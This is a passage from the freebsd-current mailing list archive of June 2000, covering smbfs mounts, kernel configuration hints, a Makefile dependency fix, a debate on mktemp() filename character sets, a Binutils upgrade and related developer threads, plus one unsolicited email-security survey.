From owner-freebsd-current Sun Jun 18 2: 8:33 2000 Delivered-To: freebsd-current@freebsd.org Received: from relay.butya.kz (butya-gw.butya.kz [212.154.129.94]) by hub.freebsd.org (Postfix) with ESMTP id 7AE5C37B71F for ; Sun, 18 Jun 2000 02:08:28 -0700 (PDT) (envelope-from bp@butya.kz) Received: from bp (helo=localhost) by relay.butya.kz with local-esmtp (Exim 3.13 #1) id 133b3r-0009z6-00; Sun, 18 Jun 2000 16:08:11 +0700 Date: Sun, 18 Jun 2000 16:08:11 +0700 (ALMST) From: Boris Popov To: kit Cc: freebsd-current@freebsd.org Subject: Re: smbfs second mount In-Reply-To: <394C564E.B59E8225@team.xtra.co.nz> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 18 Jun 2000, kit wrote: > The problem I am having is that the second mount kills the first. > > > then on ls BP I get > ls: BP: Broken pipe Thats strange, I have four smbfs mounts on my machine. > I thought that that might be because I had only 1 device entry in > /dev/net so I did No, device entry used only at the mount time and freed when mount_smbfs command terminated. > Which didn't help. What else should I check or try to get more > than one concurent smbfs mounted? Please send the output of 'smbutil -v lc' and 'df' commands to me. Exact version of NT server and SP number will be also useful. -- Boris Popov http://www.butya.kz/~bp/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 3:25:13 2000 Delivered-To: freebsd-current@freebsd.org Received: from mimer.webgiro.com (mimer.webgiro.com [212.209.29.5]) by hub.freebsd.org (Postfix) with ESMTP id 2647137B5DC for ; Sun, 18 Jun 2000 03:25:08 -0700 (PDT) (envelope-from abial@webgiro.com) Received: by mimer.webgiro.com (Postfix, from userid 66) id B87562DC0C; Sun, 18 Jun 2000 12:31:11 +0200 (CEST) Received: by mx.webgiro.com (Postfix, from userid 1001) id 6C5DF7817; Sun, 18 Jun 2000 12:21:10 +0200 (CEST) Received: from localhost (localhost [127.0.0.1]) by mx.webgiro.com (Postfix) with ESMTP id 6025C10E17; Sun, 18 Jun 2000 12:21:10 +0200 (CEST) Date: Sun, 18 Jun 2000 12:21:10 +0200 (CEST) From: Andrzej Bialecki To: Peter Wemm Cc: current@FreeBSD.ORG Subject: Re: HEADS UP!: config changes... In-Reply-To: <20000617003740.ECD471CD7@overcee.netplex.com.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 16 Jun 2000, Peter Wemm wrote: > Chia-liang Kao wrote: > > Hi, > > > > Is there anyway to put the device.hint stuff into kernel nevertheless? > > My diskless box fetches the kernel would know nothing about things reside > > in device.hint. > > That is what the hints directive is for. > > you could create a file "diskless.hints" and add the line to your config > file: > hints "/wherever/diskless.hints" > and the contents of that file would be statically compiled in. You can still > override them at boot time if you wish, but the basic set will be there. > > This is what GENERIC does right now. It compiles GENERIC.hints straight in. > (see hints.c in compile/YOURKERNEL) This thread is long, so maybe I missed something.. Can we have the *.hints file loadable as a module of some special type (like kernel.conf), and searched for during configuration like userconfig did? Andrzej Bialecki // WebGiro AB, Sweden (http://www.webgiro.com) // ------------------------------------------------------------------- // ------ FreeBSD: The Power to Serve. http://www.freebsd.org -------- // --- Small & Embedded FreeBSD: http://www.freebsd.org/~picobsd/ ---- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 4:45:18 2000 Delivered-To: freebsd-current@freebsd.org Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16]) by hub.freebsd.org (Postfix) with ESMTP id E173A37B9CF for ; Sun, 18 Jun 2000 04:45:13 -0700 (PDT) (envelope-from bde@zeta.org.au) Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102]) by mailman.zeta.org.au (8.8.7/8.8.7) with ESMTP id VAA14336; Sun, 18 Jun 2000 21:44:18 +1000 Date: Sun, 18 Jun 2000 21:44:17 +1000 (EST) From: Bruce Evans X-Sender: bde@besplex.bde.org To: Matthew Dillon Cc: Donn Miller , "Jordan K. Hubbard" , Peter Wemm , van.woerkom@netcologne.de, current@FreeBSD.ORG Subject: Re: GENERIC from today does not detect system console on my box In-Reply-To: <200006180314.UAA69035@apollo.backplane.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 17 Jun 2000, Matthew Dillon wrote: > ... > It looks like sccnattach() is calling scvidprobe() and scvidprobe() > is then: > > 0xc023484b : cmpl $0x0,0x10(%ebp) > 0xc023484f : setne %al > 0xc0234852 : movzbl %al,%eax > 0xc0234855 : push %eax > 0xc0234856 : call 0xc0229c90 <----**** > 0xc023485b : push %ebx > 0xc023485c : push $0xc0282682 > 0xc0234861 : call 0xc0229b4c > > Calling vid_configure and vid_configure is dying. > > The list is generated from a linker_set ... one of those special linker > lists. > > Something's broken the list.... maybe the DATA_SET macro is something ilke > that. Dependencies for setdef.h were broken by removing ioconf.o from ${OBJS}. Previously, any change in the configuration resulted in a change to ioconf.c, so setdefs.h got rebuilt. Now, removing whole drivers doesn't change anything in ${OBJS}, so the old setdefs.h gets used and the wrong amount of space is allocated for some linker sets. This bug cost me a few hours when I tried removing console drivers in order to debug the console initialization bugs. This quick fix also backs out rev.1.180: diff -c2 Makefile.i386~ Makefile.i386 *** Makefile.i386~ Sun Jun 18 21:22:28 2000 --- Makefile.i386 Sun Jun 18 21:31:50 2000 *************** *** 173,178 **** ${NORMAL_C} ! setdef0.c setdef1.c setdefs.h: ${OBJS} param.o ! @gensetdefs ${OBJS} param.o # this rule stops ./assym.s in .depend from causing problems --- 172,177 ---- ${NORMAL_C} ! setdef0.c setdef1.c setdefs.h: Makefile ${OBJS} ! @gensetdefs ${OBJS} # this rule stops ./assym.s in .depend from causing problems Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 7:20:59 2000 Delivered-To: freebsd-current@freebsd.org Received: from southern-software.com (rosetta.thundercat.com [203.37.173.7]) by hub.freebsd.org (Postfix) with SMTP id DE3E437B51C; Sun, 18 Jun 2000 07:20:07 -0700 (PDT) (envelope-from info@southern-software.com) Received: from southern-software.com [198.142.196.124] by southern-software.com (SMTPD32-4.06) id A822C73A0392; Sun, 18 Jun 2000 00:20:02 PDT From: info@southern-software.com Reply-To: info@southern-software.com To: info@southern-software.com Subject: Can you please assist ? Date: Sun, 18 Jun 2000 00:21:32 PDT Message-Id: <20000618142007.DE3E437B51C@hub.freebsd.org> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ___________________________________________________________ We are a software development company that specializes in security software. For some time now we have been working on developing a Client email program that contains security features never before available. In order for us to make this program the best that it can possibly be, we ask your assistance by taking a few minutes to answer these important questions for us. Which of the following functions do you consider to be important or essential for an email program? For questions 1-7, please rate 1-5. (1 being the least important and 5 being most important). A client email program should have: Question 1: The ability to prevent certain attachments that may possibly be carrying a virus. (This allows you to accept only safe attachments) Importance Rating______ Question 2: Automatic searching for file attachments that have been renamed or tampered with. (Virus senders can rename vbs files to txt files hoping you will open them) Importance Rating______ Question 3: The ability to limit the size of incoming email and attachments. (Reduce time wasted downloading large files, graphics, audio files, jokes, etc.) Importance Rating______ Question 4: The ability to select the size of outgoing emails and attachments. (Saves bandwidth as large files are roughly doubled when transferred by email). Importance Rating______ Question 5: An encrypted Address Book. (This will stop worm viruses sending copies of itself to your clients and/or friends). Importance Rating______ Question 6: The ability to restrict the number of attachments and size of attachments sent or received. And the ability to the restrict types of attachments received. (Gives control to employers and eliminate privacy issues arising). Importance Rating______ Question 7: A viewable log file containing information such as; email deleted without being opened, when email was downloaded, when email was read (opened), if email was forwarded or replied to etc. (Mail management and accountability at a glance) Importance Rating______ Question 8: Has your company been the victim of a computer virus attack? Yes/No ________ Question 9: If yes to question 8, approximately how many hours did it take to fix the problem? Hours ________ Question 10: If an email program was developed with the above security features, would you be interested in trialing a free demonstration version? Yes/No ________ Question 11: What percentage of email traffic is personal email? __________% We sincerely thank you for your time in answering these important questions for us. Sincere thanks, Graeme A. Ryan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 9:36: 3 2000 Delivered-To: freebsd-current@freebsd.org Received: from eeyore.local.dohd.cx (d0030.dtk.chello.nl [213.46.0.30]) by hub.freebsd.org (Postfix) with ESMTP id 3633D37B6CE for ; Sun, 18 Jun 2000 09:35:58 -0700 (PDT) (envelope-from freebsd@dohd.cx) Received: by eeyore.local.dohd.cx (Postfix+IPv6, from userid 1008) id 693DCBA9F; Sun, 18 Jun 2000 18:35:55 +0200 (MET DST) Date: Sun, 18 Jun 2000 18:35:55 +0200 From: Mark Huizer To: current@freebsd.org Subject: pcm problems in vaio 600re Message-ID: <20000618183555.A21813@dohd.cx> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG hi! did anyone have success getting the sound card in the VAIO 600RE laptop to work? dmesg | grep pcm says: pcm0: mem 0xfecf0000-0xfecf7fff irq 9 at device 9.0 on pci0 doing a cat /kernel >/dev/audio0 does make a sound, indeed... but trying with mpg123 on a file doesn't :-( Is there any way to do some debugging on this, or does anyone know how to get this to work? Mark -- Nice testing in little China... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 10:26: 1 2000 Delivered-To: freebsd-current@freebsd.org Received: from turtle.looksharp.net (cc360882-a.strhg1.mi.home.com [24.2.221.22]) by hub.freebsd.org (Postfix) with ESMTP id DA73537B5F9 for ; Sun, 18 Jun 2000 10:25:49 -0700 (PDT) (envelope-from bandix@looksharp.net) Received: from localhost (bandix@localhost) by turtle.looksharp.net (8.9.3/8.9.3) with ESMTP id NAA96127; Sun, 18 Jun 2000 13:25:32 -0400 (EDT) (envelope-from bandix@looksharp.net) Date: Sun, 18 Jun 2000 13:25:32 -0400 (EDT) From: "Brandon D. Valentine" To: Boris Popov Cc: kit , freebsd-current@FreeBSD.ORG Subject: Re: smbfs second mount In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 18 Jun 2000, Boris Popov wrote: > Thats strange, I have four smbfs mounts on my machine. Out of curiosity, are there any plans to commit the smbfs stuff? It is really useful and I'd love to see it in the base system. Brandon D. Valentine -- "You should believe in death, taxes, Larry Ellison's loathing of Bill Gates and Intel's inability to ship a working chipset." - Dr Spinola, The Register, 05/13/2000 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 10:29:12 2000 Delivered-To: freebsd-current@freebsd.org Received: from pluto.plutotech.com (mail.plutotech.com [206.168.67.137]) by hub.freebsd.org (Postfix) with ESMTP id F3B5D37B61D for ; Sun, 18 Jun 2000 10:29:09 -0700 (PDT) (envelope-from gibbs@pluto.plutotech.com) Received: (from gibbs@localhost) by pluto.plutotech.com (8.9.2/8.9.1) id LAA50289; Sun, 18 Jun 2000 11:28:57 -0600 (MDT) (envelope-from gibbs) From: Justin Gibbs Message-Id: <200006181728.LAA50289@pluto.plutotech.com> Subject: Re: Remote GDB *still* buggy... In-Reply-To: <20000618083851.A11304@cicely8.cicely.de> from Bernd Walter at "Jun 18, 2000 8:38:51 am" To: ticso@cicely8.cicely.de (Bernd Walter) Date: Sun, 18 Jun 2000 11:28:57 -0600 (MDT) Cc: gibbs@plutotech.com, grog@lemis.com, current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > On the machine I'm trying to debug, a Dell Precision 410, I have: > > sio1 at port 0x2f8-0x2ff irq 3 on isa0 > > sio1: type 16550A > > Isn't it needed anymore to set flags 0x80 on the debug port? Yes. That was the output from a generic kernel. My debug kernel was crashing the machine. 8-) I'm using flags 0xC0 for the debug kernel. __ Justin To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 11: 5: 4 2000 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 1780237B6B5 for ; Sun, 18 Jun 2000 11:05:01 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id LAA73599; Sun, 18 Jun 2000 11:04:59 -0700 (PDT) (envelope-from dillon) Date: Sun, 18 Jun 2000 11:04:59 -0700 (PDT) From: Matthew Dillon Message-Id: <200006181804.LAA73599@apollo.backplane.com> To: Justin Gibbs Cc: ticso@cicely8.cicely.de (Bernd Walter), gibbs@plutotech.com, grog@lemis.com, current@FreeBSD.ORG Subject: Re: Remote GDB *still* buggy... References: <200006181728.LAA50289@pluto.plutotech.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :> > On the machine I'm trying to debug, a Dell Precision 410, I have: :> > sio1 at port 0x2f8-0x2ff irq 3 on isa0 :> > sio1: type 16550A :> :> Isn't it needed anymore to set flags 0x80 on the debug port? : :Yes. That was the output from a generic kernel. My debug kernel :was crashing the machine. 8-) I'm using flags 0xC0 for the debug :kernel. : :__ :Justin Bruce's patch didn't hurt, but it didn't help my -Os crashes either. I have to fallback to -O kernels, which sucks. I have no clue where the problem is. I am able to turn DDB and INVARIANT* on again. I haven't tried remote GDB debugging. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 11:21:32 2000 Delivered-To: freebsd-current@freebsd.org Received: from relay.nuxi.com (nuxi.cs.ucdavis.edu [169.237.7.38]) by hub.freebsd.org (Postfix) with ESMTP id D495A37B73C for ; Sun, 18 Jun 2000 11:21:27 -0700 (PDT) (envelope-from obrien@NUXI.com) Received: from dragon.nuxi.com (root@trang.nuxi.com [209.152.133.57]) by relay.nuxi.com (8.9.3/8.9.3) with ESMTP id LAA70310 for ; Sun, 18 Jun 2000 11:21:25 -0700 (PDT) (envelope-from obrien@dragon.nuxi.com) Received: (from obrien@localhost) by dragon.nuxi.com (8.9.3/8.9.1) id LAA32351 for current@freebsd.org; Sun, 18 Jun 2000 11:21:24 -0700 (PDT) (envelope-from obrien) Date: Sun, 18 Jun 2000 11:21:24 -0700 From: "David O'Brien" To: current@freebsd.org Subject: ** HEADS UP ** Binutils upgrade in 1 hour Message-ID: <20000618112124.A32341@dragon.nuxi.com> Reply-To: obrien@NUXI.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-PGP-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Keyid: 34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In about an hour, I will be upgrading Binutils to 2.10 release. This will take several hours to do. During this time, you may not want to CVSup. -- -- David (obrien@NUXI.com) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 11:57: 7 2000 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id A191637B8D8 for ; Sun, 18 Jun 2000 11:57:05 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id LAA73754; Sun, 18 Jun 2000 11:57:04 -0700 (PDT) (envelope-from dillon) Date: Sun, 18 Jun 2000 11:57:04 -0700 (PDT) From: Matthew Dillon Message-Id: <200006181857.LAA73754@apollo.backplane.com> To: "David O'Brien" Cc: current@FreeBSD.ORG Subject: Re: ** HEADS UP ** Binutils upgrade in 1 hour References: <20000618112124.A32341@dragon.nuxi.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG : :In about an hour, I will be upgrading Binutils to 2.10 release. This :will take several hours to do. During this time, you may not want to :CVSup. : :-- :-- David (obrien@NUXI.com) Any chance this will make -Os kernel compiles work again? -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 12: 7:45 2000 Delivered-To: freebsd-current@freebsd.org Received: from relay.nuxi.com (nuxi.cs.ucdavis.edu [169.237.7.38]) by hub.freebsd.org (Postfix) with ESMTP id B709237B923 for ; Sun, 18 Jun 2000 12:07:42 -0700 (PDT) (envelope-from obrien@NUXI.com) Received: from dragon.nuxi.com (root@trang.nuxi.com [209.152.133.57]) by relay.nuxi.com (8.9.3/8.9.3) with ESMTP id MAA70497; Sun, 18 Jun 2000 12:07:41 -0700 (PDT) (envelope-from obrien@dragon.nuxi.com) Received: (from obrien@localhost) by dragon.nuxi.com (8.9.3/8.9.1) id MAA01280; Sun, 18 Jun 2000 12:07:40 -0700 (PDT) (envelope-from obrien) Date: Sun, 18 Jun 2000 12:07:40 -0700 From: "David O'Brien" To: Matthew Dillon Cc: current@FreeBSD.ORG Subject: Re: ** HEADS UP ** Binutils upgrade in 1 hour Message-ID: <20000618120740.A1048@dragon.nuxi.com> Reply-To: obrien@FreeBSD.ORG References: <20000618112124.A32341@dragon.nuxi.com> <200006181857.LAA73754@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <200006181857.LAA73754@apollo.backplane.com>; from dillon@apollo.backplane.com on Sun, Jun 18, 2000 at 11:57:04AM -0700 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-PGP-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Keyid: 34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, Jun 18, 2000 at 11:57:04AM -0700, Matthew Dillon wrote: > Any chance this will make -Os kernel compiles work again? No clue. The Binutils that -CURRENT currently has is a snapshot of the 2.10 release branch (from Sourceware's anoncvs server). There is only 1.5 mo's. difference between the two and at the point I took the snapshot, the Binutils developers were being very cautious what they let into that branch. -- -- David (obrien@NUXI.com) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 15:28:39 2000 Delivered-To: freebsd-current@freebsd.org Received: from beastie.mckusick.com (beastie.mckusick.com [209.31.233.184]) by hub.freebsd.org (Postfix) with ESMTP id 450E637BB37 for ; Sun, 18 Jun 2000 15:28:32 -0700 (PDT) (envelope-from mckusick@mckusick.com) Received: from beastie.mckusick.com (localhost [127.0.0.1]) by beastie.mckusick.com (8.9.3/8.9.3) with ESMTP id PAA09503; Sun, 18 Jun 2000 15:28:23 -0700 (PDT) (envelope-from mckusick@beastie.mckusick.com) Message-Id: <200006182228.PAA09503@beastie.mckusick.com> To: Kevin Day Subject: Re: Panic with userquota(softupdates?) Cc: freebsd-current@freebsd.org In-Reply-To: Your message of "Fri, 16 Jun 2000 18:55:01 CDT." <200006162355.SAA03404@celery.dragondata.com> Date: Sun, 18 Jun 2000 15:28:23 -0700 From: Kirk McKusick Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG From: Kevin Day Subject: Panic with userquota(softupdates?) To: freebsd-current@freebsd.org Date: Fri, 16 Jun 2000 18:55:01 -0500 (CDT) Cc: mckusick@mckusick.com I keep getting panics in dqget(ufs_quota.c), with a -current from a couple of days ago. I think this might be softupdates related, since I can't make it happen with softupdates turned off, although it's quite possible that it has nothing to do with it. Does anyone have any idea what might be causing this? Any other information that might be useful here? -- Kevin I have just committed a change to sys/contrib/softupdates/ffs_softdep.c (delta 1.68) which corrects a panic in the kernel when quotas and soft updates are used together. While the specific problem that I fixed appears somewhat different than the one you are reporting, it may be related. I suggest that you update to the above delta and see if it solves your problem. If your problem persists, let me know. As always, if you can give a specific set of inputs which trigger the problem, that is always helpful in tracking it down. Kirk McKusick To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 15:40:58 2000 Delivered-To: freebsd-current@freebsd.org Received: from alcanet.com.au (mail.alcanet.com.au [203.62.196.10]) by hub.freebsd.org (Postfix) with ESMTP id F047E37B698 for ; Sun, 18 Jun 2000 15:40:42 -0700 (PDT) (envelope-from jeremyp@gsmx07.alcatel.com.au) Received: by border.alcanet.com.au id <115299>; Mon, 19 Jun 2000 08:40:31 +1000 Content-return: prohibited From: Peter Jeremy Subject: Re: mktemp() patch In-reply-to: ; from kris@FreeBSD.ORG on Thu, Jun 08, 2000 at 11:11:42AM +1000 To: current@FreeBSD.ORG Message-Id: <00Jun19.084031est.115299@border.alcanet.com.au> MIME-version: 1.0 X-Mailer: Mutt 1.0i Content-type: text/plain; charset=us-ascii Date: Mon, 19 Jun 2000 08:40:30 +1000 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG As one of the proponents of the change, my apologies for not taking part in this thread earlier - I am way behind in my reading of most of the lists. On Thu, Jun 08, 2000 at 11:11:42AM +1000, Kris Kennaway wrote: >Instead of using only alphabetic characters, the patch uses the following >character set: > >0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz@#%^-_=+:,.~ This was discussed in -audit as well - and most of the points brought up here have already been discussed there. > Peter, I hope I've got the right version of the patch Looks about right. The character set matches my last suggestion (the only other item was making base64 and padchar `const'). On Thu, Jun 08, 2000 at 04:08:18PM +1000, Matthew Dillon wrote: > It would be a good idea to avoid any punctuation. Could you please provide some rationale for this statement. I agree there are valid reasons for not using some specific characters, but I don't see any justification for a blanket ban. On Fri, Jun 09, 2000 at 04:15:45AM +1000, Garance A Drosihn wrote: >context that reads blah@blah:blah as userid@hostname:fname Good point. I hadn't considered the impact of letting [rs]cp loose on the output from mktemp. >At the same time, I do like to see the set expanded as much as >possible, without causing any problems. That was my rationale as well. I went through the 7-bit printable set and wiped out the characters I though would cause problems. On Thu, Jun 08, 2000 at 09:51:34PM +1000, Bruce Evans wrote: >Why are we still using the pid? It is highly non-random. It was >originally used to ensure a separate starting point for separate >processes, The other advantage is that it was easy to locate and delete temp files associated with dead processes. Given the change to a BASE64 PID, this is no longer true and I agree with Kris that it can be dropped. If you need to clean up after dead processes, you'll need to use lsof or fstat to work out what files are still wanted. On Fri, Jun 09, 2000 at 01:48:20PM +1000, Kris Kennaway wrote: >I'm not sure that weird filesystems are a valid argument against mktemp() >naming - there are LOTS of UNIX code which assumes UNIX namespace >conventions, and it's not just mktemp() which is going to break on weird >filesystems. For example, should we limit all FreeBSD file names to 8.3 >single-case in case someone wants to run from an old-style MSDOS >partition? I agree with Kris here. I briefly considered the problem of support for non-UFS filesystems and decided that it was reasonable for standard Unix utilities to make use of the facilities offered by the native filesystem - ie UFS. In any case, I believe that mktemp(3) will always return a valid filename for the filesystem (though it might take some time to pick one). _gettemp() [the function underlying mktemp(3), mkstemp(3) etc] invokes lstat(2) on each sample path and requires that lstat() returns ENOENT for it to succeed. If lstat() is given an invalid pathname, it should return something like EINVAL - which will make _gettemp() try again. If a filesystem implementation returns ENOENT when given a pathname that is not valid on that filesystem, then the filesystem implementation is broken and should be fixed. Note that AFAIK, currently FreeBSD cannot meet mkstemp guarantees on _any_ non-local filesystem (and some shared filesystem types) because the relevant locking mechanisms either don't exist or don't work. On Fri, Jun 09, 2000 at 02:57:02PM +1000, Garance A Drosihn wrote: >Should the new mktemp check some kind of environment variable, >and use a different list (or maybe even a totally different >algorithm) depending on the value? I think that selecting between a number of different algorithms based on an environment variable might be over-kill. However it could be useful to allow the user to control the character set used by mktemp() via an environment variable. For example MKTEMP_CHARSET="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz._-" would give you the POSIX portable filename character set (apart from the `no leading hyphen' bit). Maybe support two variables - one to defines the allowable initial characters and another to define the allowable following characters if it's different. The downside is that this means that the user can pretty much control the temporary filenames used by processes - which means it would need to be disabled for setuid (and maybe setgid) processes. On Fri, Jun 09, 2000 at 03:08:57PM +1000, Dan Nelson wrote: >I still suggest not using symbols at all, since I'd like to be able to >quickly remove tempfiles by hand without worrying if I have to escape # >or ^, etc. ... >I'd rather stick with easy-to-read and type tempnames. `easy-to-read and type' is basically incompatible with `hard-to-guess'. I'd suggest that most people will be deleting mktemp filenames using wildcards, shell-completion or cut-and-paste. Any shell that can't understand a filename that it has globbed is broken. Similarly, any shell that does shell completion without protecting the result from $IFS or globbing is broken. And if in doubt, you can always paste between single quotes. >mktemp() doesn't use TMPDIR; the user gets to pass a template of his >choosing, which could reasonably be just "bobXXXXX.tmp". To pick a nit: mktemp() doesn't allow suffixes, you need to use mkstemps(). On Sat, Jun 10, 2000 at 04:05:34PM +1000, Bruce Evans wrote: >There is the POSIX.1 portable filename character set: [A-Za-z._-] (from >which the hyphen shall not be used as the first character of a portable >filename). I suspect that whilst POSIX guarantees that those characters can be used in filenames, it does not guarantee that the names will refer to distinct files. Case-insensitive filesystems are fairly common - which would reduce the effective set to [a-z._-] - which is ridiculous. On Sun, Jun 11, 2000 at 02:41:12AM +1000, Daniel C. Sobral wrote: >Mind you, shells don't have problems with any character at all in a >filename if they are properly written, but if you are expecting the >filenames generated by mktemp() to be handled by shell, they ought to >pass the > >IFS=':'; for file in $filelist > >test. Why? Isn't it equally valid to state that they ought to pass IFS='a'; for file in $filelist or setting IFS to any other random character? On Mon, Jun 12, 2000 at 07:51:15AM +1000, David Scheidt wrote: > "@" is used as the line >erase character in some shells. "#" is rubout in some shells. Generally very old shells that were designed on the assumption that the user was sitting at a KSR33 or similar. Does anyone using FreeBSD have any stty cchars set to printable characters? Do any FreeBSD shells (including ports) default to using printable cchars? I would be very surprised if the answer to either question was yes. (Anyone who has erase=@ is either an expert at escaping it, or we aren't going to hear from them because they won't be able to type the mailing list address :-). On Mon, Jun 12, 2000 at 08:39:44AM +1000, Peter Wemm wrote: ># is a comment # shouldn't be treated as a comment in the output from command substitution or in variable expansions. There may be a problem with evals. >~ at the beginning is a ~username Only at the beginning of a word and the proposed mktemp can't generate ~ at the beginning of a word. >^ is an alias for | in old shells Yes, but not in any shells used on FreeBSD. These points were all discussed in -audit. Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 16: 2:34 2000 Delivered-To: freebsd-current@freebsd.org Received: from sydney.worldwide.lemis.com (static224.conference.usenix.org [209.179.127.224]) by hub.freebsd.org (Postfix) with ESMTP id 544F537B715; Sun, 18 Jun 2000 16:02:30 -0700 (PDT) (envelope-from grog@sydney.worldwide.lemis.com) Received: (from grog@localhost) by sydney.worldwide.lemis.com (8.9.3/8.9.3) id QAA02707; Sun, 18 Jun 2000 16:02:23 -0700 (PDT) (envelope-from grog) Date: Sun, 18 Jun 2000 16:02:23 -0700 From: Greg Lehey To: FreeBSD current users , FreeBSD-arch@FreeBSD.ORG Subject: -e option to umount? Message-ID: <20000618160223.A2482@sydney.worldwide.lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG What do people think about adding a -e option to umount(8) to eject a removable medium where possible? Greg -- Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 18 16:15:12 2000 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 37FA637BAEB; Sun, 18 Jun 2000 16:15:07 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id QAA74352; Sun, 18 Jun 2000 16:13:51 -0700 (PDT) (envelope-from dillon) Date: Sun, 18 Jun 2000 16:13:51 -0700 (PDT) From: Matthew Dillon Message-Id: <200006182313.QAA74352@apollo.backplane.com> To: Greg Lehey Cc: FreeBSD current users , FreeBSD-arch@FreeBSD.ORG Subject: Re: -e option to umount? References: <20000618160223.A2482@sydney.worldwide.lemis.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :What do people think about adding a -e option to 